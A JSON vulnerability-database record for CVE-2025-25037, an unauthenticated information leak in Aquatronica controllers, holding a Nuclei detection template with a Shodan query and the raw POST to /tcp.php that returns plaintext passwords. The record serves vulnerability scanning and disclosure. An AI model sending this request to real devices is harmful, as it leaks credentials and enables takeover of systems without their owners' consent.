{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-25037/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-25037/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-25037/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-25037/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-25037/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-25037"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-25037"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2025/CVE-2025-25037.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2025-25037\n\ninfo:\n  name: Aquatronica Controller System <= 5.1.6 - Information Disclosure\n  author: s4e-io\n  severity: high\n  description: |\n    Aquatronica Controller System firmware 5.1.6 and earlier and web interface 2.0 and earlier contain an information disclosure vulnerability caused by unauthenticated access to tcp.php endpoint, letting remote attackers retrieve sensitive configuration data including plaintext credentials, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can retrieve sensitive configuration data including plaintext credentials through the tcp.php endpoint, potentially gaining full administrative access to the controller system.\n  remediation: |\n    Upgrade to Aquatronica Controller System firmware version 5.1.7 or later and web interface version 2.1 or later that implements proper authentication controls.\n  reference:\n    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5824.php\n    - https://www.exploit-db.com/exploits/52028\n    - https://vulncheck.com/advisories/aquatronica-controller-system-credential-leak\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-25037\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H\n    cve-id: CVE-2025-25037\n    cwe-id: CWE-200\n    epss-score: 0.01574\n    epss-percentile: 0.74365\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: aquatronica\n    product: controller\n    shodan-query: html:\"aquatronica\"\n  tags: cve,cve2025,aquatronica,info-leak,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /tcp.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded; charset=UTF-8\n\n        function_id=tcp_xml_request&command=WS_GET_NETWORK_CFG\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - \"WEB_PASSWORD\"\n          - \"pwd=&quot;\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a004730450220460263ac38ff26a1d1b80019b72693cc8747a77e701ded4865aa2828228d6a0c02210095757c5ebaec4e9e55c3e977c0f9fe91114a7c885462cda0b2cdeb778310b61f:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2025-25037"
}